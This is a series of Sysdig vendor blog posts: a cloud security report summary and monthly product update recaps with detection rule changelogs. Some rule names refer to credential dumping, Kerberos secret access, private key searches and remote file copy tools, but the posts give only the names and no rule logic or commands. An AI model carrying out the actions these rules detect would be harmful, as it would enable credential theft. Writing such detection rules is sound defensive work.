Do you follow security best practices, or chase speed and convenience? Keep reading to see where your cloud priorities fall.

Identity neglect: A call to action

“Though I am unsurprised by the apprehension around the security of new technologies like AI, I am disheartened by the massive number of excessive permissions being administered, especially for machine identities. It feels a bit like obsessing over a plane crash while regularly running stop signs with no seatbelt on”

 Anna Belak, Director, Office of Cybersecurity Strategy at Sysdig

Identity management has become the most overlooked cloud attack risk. Only 2% of granted permissions are being used, a reduction year-over-year. Nonhuman applications, tools, and services are being granted thousands of permissions upon initial implementation that are never disabled or deprovisioned. These excessive permissions create an undue risk that is simply unnecessary. A majority of well-known security incidents with material impacts have been linked to poor management of identities and privileges, and yet only 20% of cloud-native application protection platform (CNAPP) users are prioritizing cloud infrastructure entitlements management (CIEM) functions weekly.  

Keep shifting left, we aren’t there yet

After a year of prioritizing the remediation of critical or high vulnerabilities in use at runtime, the existence of these vulnerabilities has been reduced by nearly 50%. However, the goal of the shift-left approach is to scan for, identify, and remediate vulnerabilities in the pre-delivery pipeline before runtime — this is not happening. We found a higher policy failure rate in runtime scans than continuous integration and continuous delivery (CI/CD) build pipeline scans. If organizations were following the concept of shift-left with fidelity, we would expect the inverse of the results since policy failures are meant to be caught prior to delivery and before they become exploitable conditions for attackers.

Threat detection advancing toward maturity

The vast majority of Sysdig customers are leveraging threat detection and response (TDR) insights weekly. With this, we see indications of comprehension and maturity with the development and testing of custom behavioral threat detections. This year’s report shows that only 35% of attacks were identified using indicators of compromise (IoCs), while the remaining 65% of attacks were identified with behavior-based detections. The most commonly triggered detections this year fell under the initial access and execution MITRE ATT&CK tactics, which often present themselves earlier in an attack lifecycle than those we saw last year, defense evasion and privilege escalation.

Ephemerality won’t save you from an attack

We’ve seen container lifespan shrink over the last several years, to the extent that 70% of containers live less than five minutes. There is some comfort knowing that a vulnerable container is short-lived, however, Sysdig’s Threat Research Team (TRT) stated in the 2023 Global Cloud Threat Report that a cloud attack only takes 10 minutes. With the use of automation, an attacker can enter through a vulnerable container and move laterally before the end of its lifespan. Running vulnerable workloads, no matter how short-lived, leaves you at risk for an attack.

AI adoption paradox

While most of our findings this year indicate that organizations choose convenience and speed over more secure practices, we could not attribute this to enterprise AI use. 31% of companies have implemented AI frameworks and packages, but only 15% of these are generative AI. Put simply, most of the AI packages we see right now are used for data correlation and analysis.

Conclusion

From the real-world customer data we gathered and analyzed, we see an evolving cloud security landscape ripe with successes and struggles. Skirting some security best practices might allow organizations to work with fewer barriers, but it also puts them at far greater risk for attacks. For instance, a lack of identity management has gone too far and resulted in many high-profile material attacks. Runtime security and TDR prioritization, however, are reducing vulnerabilities and advancing detection efforts. Short-lived workloads are no match for attackers using automation and, finally, enterprises aren’t quite ready to implement AI in cloud environments.
Want to learn more? Download the full Sysdig 2024 Cloud-Native Security and Usage Report now for additional data and analysis. You can also find our past reports here.

The post Sysdig Identifies a Cloud-Native Security Crossroads: Best Practices vs. Convenience and Speed appeared first on Sysdig.

This year started with multiple recognitions for Sysdig. GigaOM named Sysdig a Leader and the only Outperformer in its inaugural Cloud Workload Security Radar report. The report compares major players in the space and highlights the evolution of the cloud security market “driven by the need for robust, feature-rich platforms capable of addressing diverse and complex security needs.”

Sysdig is also honored to receive the DevOps Dozen 2023 award as the 𝗕𝗲𝘀𝘁 𝗖𝗹𝗼𝘂𝗱 𝗡𝗮𝘁𝗶𝘃𝗲 𝗦𝗲𝗰𝘂𝗿𝗶𝘁𝘆 𝗦𝗼𝗹𝘂𝘁𝗶𝗼𝗻. 

“Security teams must protect the business without slowing it down. Sysdig continues to be an innovative market leader. We are proud to honor them with this year’s cloud-native security provider award.”

Alan Shimel, Techstrong Group Founder & CEO 

Stay tuned for more updates from Sysdig, and let’s get started!

Sysdig Secure

Data Types for Events Forwarding

Sysdig’s Events Forwarding feature now supports Activity Audit. Additionally, we have initiated deprecation for the following legacy data types:

• Legacy Runtime policy event format, replaced by the new format
• Legacy Compliance v1 events (Secure events compliance and Benchmark events), part of the Legacy compliance
• Legacy Vulnerability Scanner v1, part of the Legacy scanning engine

Filter for Updated Threat Detection Rules

We have added a new drop-down filter on the Rules Library page to easily review recent changes made to rules and exceptions.

See View Recent Changes to a Rule for details.

Introducing Infrastructure as Code Scanning Integration to Sysdig CLI Scanner

Sysdig is thrilled to announce a major advancement to the sysdig-cli-scanner tool with the integration of Infrastructure as Code (IaC) scanning functionality. This release empowers users to seamlessly scan IaC resources for potential risks and compliance issues, enhancing the security posture of your development workflows. By using the familiar sysdig-cli-scanner interface, you can initiate IaC scans to identify potential risks and compliance issues early in the development lifecycle. The tool continues to support the basic functionality.

Key features:

• A comprehensive exit code system for easy interpretation of scan results
• Role-Based Access Control (RBAC) for precise control over permissions
• Cross-platform compatibility
• Ability to integrate into existing workflows, such as CI/CD pipelines
• Use of API Token for authentication, ensuring consistency with the VM CLI
• Simple command execution

For more information, see Run Sysdig CLI Scanner in IaC Mode.

Inventory (General Availability)

Sysdig is pleased to make our Inventory feature available by default to all Secure SaaS customers with the following capabilities:

• Unified Data: Leveraging our Cloud Attack Graph to combine posture, vulnerability, configuration, and network exposure findings, as well as Runtime Insights on your resources
• “Featured Filters” panel: Improved search experience
• Image as a Resource: Container images are returned as a first-class citizen
• Image and Workload Vulnerabilities: View and search on vulnerability data (CVE, Package, Exploit, Fix, In Use, etc.)
• Network Exposure on Vanilla K8s Workloads, AWS EC2s and S3 buckets, Azure VMs, and Blob Containers: Display and query resources that are directly or ingress-exposed to the internet
• New resource metadata is available:
  • Search for Containers and Image Pullstrings on K8s Workloads
  • Search by Namespace for IaC K8s Workloads
  • Search for cloud resources by ARN for AWS or Resource ID for GCP and Azure
• Unique URL for each resource (in addition to applied search filters) which can be shared with your teammates/colleagues

See Inventory for details.

Improved Jira Integration

Vulnerability Management (VM) has now been fully integrated with Jira. Click on any vulnerability in the VM module to create a fully-fleshed out Jira ticket, which you can assign to a colleague from the comfort of the Sysdig UI. Sysdig will then remember which vulnerabilities have Jira tickets.

See Remediate with Jira for details.

Splunk Integration

Splunk has been integrated with Vulnerability, joining the ranks of Jenkins and ServiceNow. Fetch, triage, and orchestrate Sysdig runtime vulnerabilities in Splunk with a Technical Add-On (TA). The Splunk TA enables the extraction of all Runtime scan results.

Download the Sysdig Vulnerabilities add-on from Splunkbase to get started, as described in Vulnerability Integrations | Splunk.

Non-Kubernetes Container Scanning

Scan Docker and Podman containers for vulnerabilities with Sysdig Secure.

For more information, see Non-Kubernetes Container Scanning.

Agentless Host Scanning (Technical Preview)

On AWS EC2 hosts, you can now perform agentless runtime vulnerability scanning. You can also view all discovered hosts, get real-time status updates, and troubleshoot issues with the Cloud Hosts page in Data Sources.

See AWS Agentless Installation for details.

Risk Spotlight (General Availability)

The Vulnerability Management team is excited to announce the official release of Risk Spotlight (aka EVE or “In Use”). After several iterations of the agent, profiling service, and vulnerability management integration stages to address accuracy and computational requirements, the Risk Spotlight service is officially GA.

With Sysdig agent v12.15+ and runtime vulnerability management scanning, you can identify and prioritize packages that are both vulnerable and actively “In Use” in runtime workloads.

We also enable external integrations with partners that use this data, such as Snyk and Docker.

See Risk Spotlight (In Use) and Risk Spotlight Integrations for details.

Leverage Artificial Intelligence for AWS Console Login Anomaly Detection

With the AWS Machine Learning (ML) policy, you can detect anomalous AWS Console login events in connected AWS cloud accounts.

This policy allows you to understand why an event is considered anomalous compared to the expected behavior. In addition, you get visibility into the most influential contributing factors and the confidence level of the detection accuracy.

For details, see the AWS ML Policy documentation.

Extend Posture to Use Auto-Remediation with AWS Cloud Resources

This feature allows you to automate the process of maintaining and improving the security and compliance posture of your AWS infrastructure, reducing the risk of security breaches and operational disruptions. This extends remediation to AWS Terraform resources.

First, create Terraform configuration files that define the desired state of your AWS resources. Sysdig provides automated remediation for fixing risks by opening a pull request (PR) directly on the IaC code files for your acceptance.

For details, see Compliance – Evaluate and Remediate.

RBAC Permissions in Posture for Accept Risk, Open PR

Administrators can now define granular role permissions to allow risk acceptance and opening pull requests for posture/compliance findings. These permissions have been retroactively added to the existing default roles of Team Manager and Advanced User.

For details, see Detailed Role Permissions.

Runtime Threat Detection Rules

Our Threat Research team has released several versions of the rules in the last month, including 31 brand new rules. Additionally, older rules have been deprecated. Below are the release notes for the most recent rules changes.

https://docs.sysdig.com/en/docs/release-notes/falco-rules-changelog/

Rule Changes

• Added the following rules:
  • Query to Window Management System Detection
  • Suspicious Access To Kerberos Secrets
  • Service Discovery Activity Detected
  • Access to Clipboard Data Detected
  • SES Attach Policy to Identity
  • SES Update Identity Policy
  • SES Delete Identity Policy
  • Task Scheduled with Highest Privileges
  • Password Policy Discovery Activity Detected
  • Hide Process with Mount
  • Modify Grub Configuration Files
  • Simple Email Service (SES) Verify Identity
  • SES Update Account Sending
  • SES Delete Identity
  • SES Create SMTP
  • SNS Delete Subscription
  • SNS Delete Topic
  • SNS Get SMS Sending Information
  • Organization Update Service Control Policy
  • Organization Create Service Control Policy
  • Organization Delete Service Control Policy
  • Repository Fork Set to Public
  • Repository Fork Set to Private
  • Attach SES Policy to User
  • Auditd Logging Commands
  • Repository Fork Set to Public
  • Ransomware Filenames Detected
  • New GitHub Action Workflow Deployed
  • Okta Multiple Application Requests with Invalid Credentials
  • Push on Github Actions Detected
  • Okta MFA Bypass Attempt
• Deprecated the following rules:
  • Malicious process detected
  • Creation attempt Azure Secure Transfer Required Set to Disabled
  • Azure Access Level creation attempt for Blob Container Set to Public
  • Azure Blob Created
  • Azure Blob Deleted
  • Azure Create/Update a Storage Account
  • Azure Delete a Storage Account
  • Azure Delete Function Key
  • Azure Create/Update a Storage Account
  • Azure Create/Update a Storage Account

Default Policy Changes

• Added the following rules:
  • Query to Window Management System Detection
  • Suspicious Access To Kerberos Secrets
  • Service Discovery Activity Detected
  • Access to Clipboard Data Detected
  • Password Policy Discovery Activity Detected
  • Hide Process with Mount
  • Modify Grub Configuration Files
  • Ransomware Filenames Detected
  • New GitHub Action Workflow Deployed
  • Okta Multiple Application Requests with Invalid Credentials
  • Push on Github Actions Detected
  • Okta MFA Bypass Attempt
  • SES Attach Policy to Identity
  • SES Update Identity Policy
  • SES Delete Identity Policy

• Updated the policy for rules:
  • Ransomware Filenames Detected
  • Contact K8S API Server From Container
  • nsenter Container Escape
  • AWS CLI used with endpoint url parameter rule
  • Ransomware Filenames Detected
  • Azure Blob Created, Azure Blob Deleted

Sysdig Monitor

Sysdig Default Pricing for Cost Advisor

Cost Advisor will now use Sysdig Default prices in instances where pricing information is unavailable, such as when viewing on-premises Kubernetes clusters. Additionally, Cost Advisor has been enhanced to help you identify the billing profile associated with a specific Kubernetes cluster.

Embedded Images in Metric Alert Notifications

Alert Notifications sent to Slack, email, and Pagerduty will now include a visual snapshot of the time series data that triggered the alert rule. This means less dashboard hunting at 2AM and the ability to snooze or escalate without opening your laptop.

Group Outlier Alerts

Take advantage of the new Group Outlier alert type to detect anomalous behavior. Utilize Group Outlier alert rules to spot any hosts that are acting differently from the usual group patterns, or to highlight unusual patterns in operational metrics.

Sysdig Agents

12.19.0, December 2023

Feature Enhancements

Changed HTTP Health Endpoint to Bind to Localhost

Changed the HTTP health endpoint to only bind to the localhost interface. If you are using Helm, upgrade to the Sysdig Agent Helm Chart v1.18.2 or higher. For more information, see Agent Health.

Export Additional Agent Health Metrics Using Prometheus Exporter

The Sysdig Agent can now use a Prometheus exporter to expose additional agent health metrics. For more information, see Agent Health.

Due to the sensitive nature of some of these metrics, you may want to ensure that the Prometheus exporter endpoints are not exposed outside of your cluster.

Added Profiling Fingerprint Generation to Secure Light Mode

You can now enable Profiling in secure_light mode by setting the falcobaseline.enabled parameter to true in the dragent.yaml, or by specifying –set agent.sysdig.settings.falcobaseline.enabled=true if you install the agent via Helm chart.

Modified Audit Tap Message Delivery Policy

Audit Tap messages are now delivered even if they contain only file access records.

Defect Fixes

Improved Health Monitoring for Agent Subprocesses

Health monitoring for agent subprocesses now covers all subprocesses spawned.

Added Socket Timeout for the Proxy Connection to the Collector

Sysdig Agent now utilizes a socket timeout when connected to the collector via proxy. This allows the connection to recover faster without an agent restart when an issue occurs.

Reports Correct Values for Container CPU Usage in Kubernetes v1.26

Resolved an issue that impacted the calculation of CPU usage for containers in Kubernetes v1.26.

Detect App Check Metrics

Sysdig Agent now can successfully detect app check metrics. This fix enables SCM_RIGHTS to transfer file descriptors across all types of processes. Previously, if a file descriptor transferred via SCM_RIGHTS was for a socket serving app check metrics, the agent could not detect and query it for app check metrics. This presented missing app check metrics after a process reload.

SDK, CLI, and Tools

Sysdig CLI

v0.8.2 is still the current release. The instructions on how to use the tool are available at the following link:
https://sysdiglabs.github.io/sysdig-platform-cli/

Python SDK

Python SDK is still at v0.17.1. More details on leveraging this tool can be found at the following link:

https://github.com/sysdiglabs/sysdig-sdk-python

Terraform Provider

We have just released the 1.20.0 version of Terraform provider. This release includes:

• Add group outlier alert type
• Support sidecar mode for serverless-agent (disabled by default)
• Switch to agent-kilt 0.0.2 for serverless-agent

https://docs.sysdig.com/en/docs/developer-tools/terraform-provider

Terraform Modules

• AWS Sysdig Secure for Cloud remains unchanged at v10.0.9
• GCP Sysdig Secure for Cloud remains unchanged at v0.9.10
• Azure Sysdig Secure for Cloud remains unchanged at v0.9.7
  

Falco VSCode Extension

v0.1.0 is still the latest release.

https://github.com/sysdiglabs/vscode-falco/releases/tag/v0.1.0

Sysdig Cloud Connector

New Cloud Connector changes to (v0.16.59) under helm chart 0.8.8.

Admission Controller

New Admission Controller release (3.9.36) under helm chart 0.14.17.

Sysdig CLI Scanner

Sysdig CLI Scanner latest version is v1.6.3.

https://docs.sysdig.com/en/docs/sysdig-secure/vulnerabilities/pipeline/

Sysdig Secure Inline Scan Action

The latest release is v3.6.0.

https://github.com/marketplace/actions/sysdig-secure-inline-scan

Sysdig Secure Jenkins Plugin

The Sysdig Secure Jenkins Plugin remains at version v2.3.0.

https://plugins.jenkins.io/sysdig-secure/

Prometheus Integrations

Prometheus Integrations has been updated to v1.24.0. This release contains updates to KEDA & OPA integrations.

Open Source

Falco

Falco 0.36.2 is still the latest stable release:

https://github.com/falcosecurity/falco/releases/tag/0.36.2

New Website Resources

Blogs 

How Financial Services Organizations Can Stay Compliant – Without Sacrificing Security

Fuzzing and Bypassing the AWS WAF

Honeypots with vcluster and Falco: Episode II

Sysdig Stands Alone: GigaOm Names Sysdig a Leader and Outperformer for Cloud Workload Security

Webinars

SEC’s Cyber Wake-up Call: The Evolving Role of the CISO

Banking on Security: Defending Against Cyber Threats and Regulatory Demands

Generate This: Bringing AI to Cloud Security

Navigating Cloud Threats: The Art of Swift Detection and Response

Fix-What-Matters-First

Securing Success: Saiyam Pathak’s 2024 Guide to CKA and CKS Certification

How to Stop Cloud Attacks in Real-Time with Runtime Insights

Every Second Counts: Delivering Secure, Compliant Financial Services in the Cloud

Sysdig Education 

Windows Monitoring

Registry Image Scanning

Detecting a Cryptomining Malware Attack with Falco and Prometheus

The post What’s New in Sysdig – January 2024 appeared first on Sysdig.

• Key insights made by our threat research team about the speed of attacks in the cloud
• A new cloud security benchmark that highlights the need for immediate security in the cloud
• The importance Cloud Detection and Response can play in bridging the gap between security and dev
• Combining the ability to prevent and harden in the cloud with real-time detection and response

In the Cloud, you have 10 Minutes from Recon to Attack

In August, the Sysdig Threat Research Team released the 2023 Global Cloud Threat Report which sheds light on an alarming truth: Attacks in the cloud are lightning-fast, with minutes determining the line between detection and severe damage. It’s clear that cloud attackers are taking advantage of the same things that lure companies to the cloud. While defenders need to protect their entire software lifecycle, attackers only have to be right one time, and automation is making it even easier for them.

Key Findings

• Cloud automation weaponized. Cloud attacks happen fast. Recon and discovery are even faster. Automating these techniques allows an attacker to act immediately upon finding a gap in the target system. A recon alert is the first indication that something is awry; a discovery alert means that the blue team is too late.
• 10 minutes to pain. Cloud attackers are quick and opportunistic, spending only 10 minutes to initiate an attack. According to Mandiant, the median dwell time on premise is 16 days, underlining the speed of the cloud.
• A 90% safe supply chain isn’t safe enough. 10% of advanced supply chain threats are invisible to standard tools. Evasive techniques enable attackers to hide malicious code until the image is deployed. Identifying this type of malware requires runtime analysis.
• 65% of cloud attacks target telcos and fintech. Telecommunication and finance companies are ripe with valuable information and offer an opportunity to make quick money. Both industries are attractive targets for fraud schemes.

Sysdig Debuts New Benchmark for Cloud Detection and Response

The 5/5/5 Benchmark for Cloud Detection and Response is a new framework that outlines how quickly organizations should detect, triage, and respond to attacks in the cloud. Operating securely in the cloud requires a mindset shift in regard to time, and with that, cloud security programs need to hold themselves to a modernized benchmark: five seconds to detect, five minutes to correlate insights and understand what’s happening, and five additional minutes to respond.

Cloud attacks are swift and sophisticated, requiring robust threat detection and response programs that move at the speed of the cloud. On-premise attacks take 16 days on average and antiquated frameworks challenge security teams to respond to a breach within 60 minutes, which is simply insufficient for the cloud. Bad actors are exploiting the automation and scale of the cloud, along with new techniques, to accelerate all stages of an attack and inflict damage within minutes. The 5/5/5 Benchmark guides organizations to detect and respond to cloud attacks faster than adversaries can complete them.

The Challenge

• Detect threats within five seconds. Organizations should be able to gather detection signals from their cloud security tools in real time to ensure visibility into ephemeral assets. 
• Correlate and triage within five minutes. Teams should be able to gather full context for all correlated signals within five minutes of receiving the first relevant alert.
• Initiate a response within five minutes. Organizations should be able to initiate a tactical response within five minutes of confirming that an attack is in progress.

There’s No CNAPP, Without CDR

In June, Sysdig became the first vendor to deliver the consolidation of Cloud Detection and Response (CDR) and Cloud-Native Application Protection Platform (CNAPP). This approach enables Sysdig to detect threats instantly anywhere in the cloud with 360-degree visibility and correlation across workloads, identities, cloud services, and third-party applications. 

As we tee’d up the challenges enterprises faced in 2023, it’s no surprise that as organizations build out their cloud environments, they face sprawl, with hundreds of unchecked and potentially vulnerable applications, services, and identities. Most cloud security tools are slow to identify suspicious behavior, and once alerted organizations can spend hours, if not days, combing through snapshots trying to piecemeal together what happened. It is a best-case scenario for bad actors, giving them hours or even days to inflict maximum damage – and the organization might never know what happened. Below are key features that were released in June to help embed CDR in our overall CNAPP offering.

Stop Breaches Instantly with End-to-End Threat Detection

• Agentless cloud detection based on Falco: Created by Sysdig, Falco is a widely adopted open source solution for cloud threat detection, now under the stewardship of the Cloud Native Computing Foundation. Previously, to leverage the power of Falco within Sysdig, organizations had to deploy Falco on their infrastructure. With this release, customers can access an agentless deployment of Falco when processing cloud logs, which are used to detect threats across cloud, identity, and the software supply chain, along with other sources.
• Identity threat detection: With new Sysdig Okta detections, security teams can protect against identity attacks, such as multi factor authentication fatigue caused by spamming and account takeover. Sysdig details the entire attack from user to impact by stitching Okta events with real-time cloud and container activity.
• Software supply chain detection: Extend threat detection into the software supply chain with new Sysdig GitHub detections. Developers and security teams can be alerted in real time of critical events, such as when a secret is pushed into a repository.
• Enhanced Drift Control: Prevent common runtime attacks by dynamically blocking executables that were not in the original container.

Accelerate Cloud Investigations and Incident Response in Real Time

• Live mapping: Sysdig brings an endpoint detection and response (EDR)-like approach of assembling all relevant real-time events into one view when a breach occurs. With Kubernetes Live, teams can dynamically see their live infrastructure and workloads, as well as the relationships between them, to speed incident response.
• Attack lineage with context: Sysdig Process Tree enables the rapid identification and eradication of threats by unveiling the attack journey from user to process, including process lineage, container and host information, malicious user details, and impact.
• Curated threat dashboards: Dashboards provide a centralized view of critical security issues, spotlighting events across clouds, containers, Kubernetes, and hosts to enable threat prioritization in real time. Sysdig also provides dynamic mapping against the MITRE framework for cloud-native environments, so security teams know exactly what is happening at any given moment.

Sysdig Adds Real-Time Cloud Attack Graph

In September, Sysdig launched a new Cloud Attack Graph which provides real-time attack path analysis and live risk prioritization. In the cloud, every second counts. Environments have grown more complex, and attacks happen at warp speed. Whereas on-premise attacks are measured in weeks, cloud attacks can happen in mere minutes. Attackers exploit the complexity and automation of the cloud to move laterally, elevate privileges, and maximize blast radiuses. Knowing what’s happening in the moment, customers can make better-informed decisions from prevention to defense. Some of the key features that allow organizations to combine hardening and prevention with detection and response are:

New Capabilities Focused on What Matters Now

Cloud Attack Graph functions as the neural center of the Sysdig CNAPP, applying multidomain correlation across assets, users, activity, and risk to identify threats in real time. By layering on instant detections, in-use vulnerabilities, and in-use permissions, Sysdig connects the dots across environments so customers can diffuse threats before they escalate.

Risk Prioritization is a stack-ranked list of risks to help prioritize the order in which they should be addressed across an entire cloud-native environment. The list is uniquely generated from runtime insights, layered with real-time detection of events, vulnerabilities tied to in-use packages, and in-use permissions to draw attention to the most imminent attacks happening at any given moment.

Attack Path Analysis is a visual representation of the exploitable dependencies across resources, which can help reveal potential attack paths. Unlike other solutions, Sysdig layers on real-time detections to reveal active attack behavior such as lateral movement, helping stop attackers in their tracks.

Inventory, powered by runtime insights, is a complete, searchable list of all of the resources in a cloud environment across users, workloads, hosts, and infrastructure-as-code. Dynamic filtering provides immediate access to the most relevant information across cloud environments for use in various ways. 

Complete Agentless Scanning rounds out Sysdig’s agent and agentless solution. Sysdig has expanded agentless capabilities to include host scanning, extending its existing agentless scanning for misconfigurations and threat detection. 

Farewell to 2023

As we close out the year and look back at the journey, it’s evident that the past year has been a pivotal chapter in the ongoing journey that is cloud security. From grappling with the increase in cloud maturity and the use of more cloud native services to the global shift toward remote work to organizations leaning in on innovation first and foremost and to the increase of sophistication of cloud attacks, the evolution of cloud security has been steady. As we step into next year, that pace will only quicken and it’s important to remember that in the cloud, every second counts.

The post What’s New – December 2023 Recap appeared first on Sysdig.

Building on the positive momentum generated by the array of features unveiled in October as part of our industry-leading Cloud-Native Application Protection Platform (CNAPP), Sysdig released the 5/5/5 Benchmark for Cloud Detection and Response at SANS CyberFest 2023, a new framework that outlines how quickly organizations should detect, triage, and respond to attacks in the cloud.

Operating securely in the cloud requires a mindset shift in regard to time, and with that, cloud security programs need to hold themselves to a modernized benchmark: 

• Five seconds to detect
• Five minutes to correlate insights and understand what’s happening
• Five additional minutes to respond

Download the 5/5/5 Benchmark for Cloud Detection and Response.

Stay tuned for more updates from Sysdig, and let’s get started!

Sysdig Secure

Improved Home Page

Sysdig is pleased to announce a new and improved Home page! The Home page offers a clean, visual representation of the most important issues in your environment and a curated list of the top tasks required. The default tab Home encompasses the Dashboards, and the other tab contains Recommendations.

For the Home page dashboards to display data, you must have completed basic onboarding and at least one data source must be connected. Otherwise, the page will provide prompts for completing those setup tasks.

What is displayed in Dashboards is dependent on what has been installed. To learn more, read the docs.

Star Favorite Compliance Views

You can now select specific Policy + Zone combinations you want to see tracked on the Home page. Details are in the Compliance documentation.

Supported Web Browsers

Sysdig supports, tests, and verifies the latest versions of Chrome and Firefox. Other browsers may also work but are not tested in the same way.

Sysdig Monitor

Supported Web Browsers

The latest versions of Chrome and Firefox are tested, verified, and supported for Sysdig Monitor as well as Secure. However, note that other browsers may also work but are not tested with the same rigor.

Sysdig Serverless Agent

4.3.0 Hotfix Nov. 08, 2023

This hotfix updated the CloudFormation template, orchestrator-agent.yaml, to include default values for autoscaling. When autoscaling is disabled, the autoscaling parameters now default to 0.

For Installation and Upgrade steps, see AWS Fargate Serverless Agents.

SDK, CLI, and Tools

Sysdig CLI

v0.8.2 is still the current release. The instructions on how to use the tool and the release notes from previous versions are available at the following link:

https://sysdiglabs.github.io/sysdig-platform-cli/

Python SDK

The Python SDK remains at  v0.17.1. 

Terraform Provider

We have just released the 1.18.0 version of Terraform provider. This release includes the following features:

• Pass provider alias to cloud account creation call
• Remove quotes for boolean values
• Implement cloud account creation for Azure
• Enable acceptance test for Secure cloud account

https://docs.sysdig.com/en/docs/developer-tools/terraform-provider

Terraform Modules

• AWS Sysdig Secure for Cloud remains unchanged at  v10.0.9
• GCP Sysdig Secure for Cloud remains unchanged at v0.9.10
• Azure Sysdig Secure for Cloud remains unchanged at v0.9.7
  

Falco VSCode Extension

v0.1.0 is still the latest release.

https://github.com/sysdiglabs/vscode-falco/releases/tag/v0.1.0

Sysdig Cloud Connector

New Cloud Connector changes to (v0.16.55) under helm chart 0.8.6.

Admission Controller

New Admission Controller release (3.9.35) under helm chart 0.14.14.

Sysdig CLI Scanner

Sysdig CLI Scanner latest version is v1.6.1.

https://docs.sysdig.com/en/docs/sysdig-secure/vulnerabilities/pipeline/

Sysdig Secure Inline Scan Action

The latest release is v3.6.0.

https://github.com/marketplace/actions/sysdig-secure-inline-scan

Sysdig Secure Jenkins Plugin

The Sysdig Secure Jenkins Plugin remains at version v2.3.0.

https://plugins.jenkins.io/sysdig-secure/

Prometheus Integrations

Prometheus Integrations has been updated to v1.23.2: 

• Change: Replace HelpIcon with QuestionMarkCircleHelpIcon
• Fix: OpenShift/rancher integration labels
  

Sysdig On-Premises

Sysdig On-Premises has been updated to 6.6.0 with the following changes.

Upgrade process

Supported upgrades from: 5.0.x, 5.1.x, 6.x

For the full supportability matrix, see the On-Premises Install Documentation. This repository also includes the on-premises Installation documentation.

Sysdig Secure

Nexus and Google Support for Container Registry Scanning

The Image Registry Scanning functionality in the Sysdig Vulnerability Management engine has been updated to support scanning for the Nexus Repository and the Google Artifact Registry (GAR).

For more information on running the scanner, see the Registry Scanner documentation.

Reporting for Image Pipeline Vulnerability Scanning

The Vulnerability Management engine now supports Reporting for Image Pipeline Scanning. The engine now has reporting for all scanning functionality (Runtime, Registry, Host, and Pipeline). Pipeline reporting mirrors the Runtime and Registry reports, with just a change in the scoping context.

What?

• This feature enables the easy collection and reporting on Pipeline scans over a given time period.

Why?

• With this addition, we have completed normalizing the data output functions across the VM scanning set.

Exception UI improvements for threat detection rules

Sysdig is introducing a new, user-friendly exception builder. The new exception UI, built in to the Rules Editor, helps users create, update, modify, and delete exceptions for threat detection rules.

For more information, see Manage Threat Detection Rules.

Advanced users can apply Tuning suggestions

To simplify identifying and applying exceptions, we are enabling the ability for Advanced Users and Team Managers to see and apply Tuning suggestions from Insights and Event detail pages.

To enable:

1. Log into Sysdig Secure as Admin and go to Settings.
2. Toggle Advanced User Tuner Enablement on.

Sysdig Monitor

Metrics Usage Enhanced with Dashboards and Alerts Usage Metadata

Metrics Usage now displays which Dashboards and Alerts are using a given metric, enabling you to better understand the value a given metric provides to teams.

UX Improvements for PromQL Query Explorer

The PromQL Query Explorer editor has been updated with quality of life improvements for a better user experience while running queries:

• Only relevant labels to the query metrics are now displayed in the autocomplete prompt.
• Labels are automatically selected and displayed in the query results table.

Notification snapshot for Metric Alert notifications

Metric Alert notifications forwarded to Slack or email include a snapshot of the triggering time series data. For the Slack Notification channels, you can toggle the snapshot within the notification channel settings. When the channel is configured to Notify when Resolved, a snapshot of the time series data that resolves the alert is also provided in the notification.

Platform

Settings page refresh

Settings page in Sysdig Secure and Monitor has been enhanced to provide you a superior user experience:

• Improved color scheme for the dark mode.
• Unified layout and components to establish consistency between Sysdig products.
• Better navigation through the new header component.

Defect fixes

• Fixed an issue in the Explore module where promlegacy_* metrics could prevent metric counts from loading.

Falco Threat Detection Rules Changelog

Several versions of the rules have been released in the last months. Below are the release notes for the most recent rules changes.

https://docs.sysdig.com/en/docs/release-notes/falco-rules-changelog/

Rule Changes

• Reduced false positives for the following rules:
  • Modification of pam.d detected
  • Possible Backdoor using BPF
  • Packet socket created in container
  • Dump memory for credentials
  • Launch Remote File Copy Tools in Container
  • Suspicious cron modification
  • Base64-encoded Shell Script Execution
  • Fileless Malware Detected (memfd)
  • eBPF program loaded into Kernel
  • Launch Ingress Remote File Copy Tools in Container
  • Write below etc.
  • Escape to host via command injection in process
  • eBPF program loaded into kernel
  • Non sudo setuid
  • Mount launched in Privileged Container
  • Change thread namespace
  • Set Setuid or Setgid bit
  • Launch Sensitive Mount Container
  • Launch Root User Container
  • Write below root
  • Packet socket created in container
  • Launch privileged container
  • Diamorphine Rootkit Activity
  • Read Environment Variable from /proc files in Container
  • Search Private Keys or Passwords
  • SSH keys added to authorized_keys
  • Change memory swap options
  • Kernel startup modules changed
• Added the following rules:
  • Container image built on host
  • Leave Organization
  • EC2 Add User Data
  • SSM Get Parameter
  • EC2 Get User Data
  • Shutdown or Reboot detected
  • Get Federation Token with Admin Policy
  • Full Visibility on Federated Sessions
  • GCP CloudRun Service Started
  • Create Key Pair
  • Stop EC2 Instances
  • Get Lambda Function
  • Attach IAM Policy to Group
  • Escape to host via command injection in process

• Improved the following conditions
  • System procs network activity
  • Potential UAC bypass using Registry manipulation
  • Dump memory for credentials
  • Execution of binary using ld-linux rule
• Improved the output for the following rules
  • Github Webhook Connected rule
  • Okta ruleset
  • Shutdown or Reboot detected rule
• Updated the IoCs Ruleset with new findings
• Updated description for the Malicious C2 IPs or domains exploiting log4j rule
• Updated theSysdig AWS Notable Events policy
• Improved the Windowssuspicious_network_binaries list
• Improve tags for the AWS RDS Master Password Update
• Improved MITRE tags

Default Policy Changes

• Added the following files:
  • Shutdown or Reboot detected
  • Get Federation Token with Admin Policy
  • Full Visibility on Federated Sessions
  • GCP CloudRun Service Started
  • Create Key Pair
  • Stop EC2 Instances
  • Get Lambda Function
  • Attach IAM Policy to Group
  • Escape to host via command injection in process
• Updated the Remove MFA from user in Okta policy.
• Updated the policy for rules:
  • Change memory swap options
  • EC2 Instance Connect/SSH Public Key Uploaded
  • SSM Get Parameter

Open Source

Falco

Falco 0.36.2 is the latest stable release. 

https://github.com/falcosecurity/falco/releases/tag/0.36.2

New Website Resources

Press Releases

Sysdig Debuts New Benchmark for Cloud Detection and Response

Sysdig Extends the Power of Detection and Response to Include Windows Server and Malware Threat Detection

Blogs 

Securing Servers in the Cloud Requires a Cloud Centric Approach

Why Traditional EDRs Fail at Server D&R in the Cloud

Is Traditional EDR a Risk to Your Cloud Estate?

Webinars

Fix What Matters First: Bridging Code and Cloud Security

Generate This: Bring AI to Cloud Security

Safeguarding Identities

Events

AWS re:Invent 2023 – Cloud Security Powered by Runtime Insights

BlackHat Europe 2023

Sysdig Education 

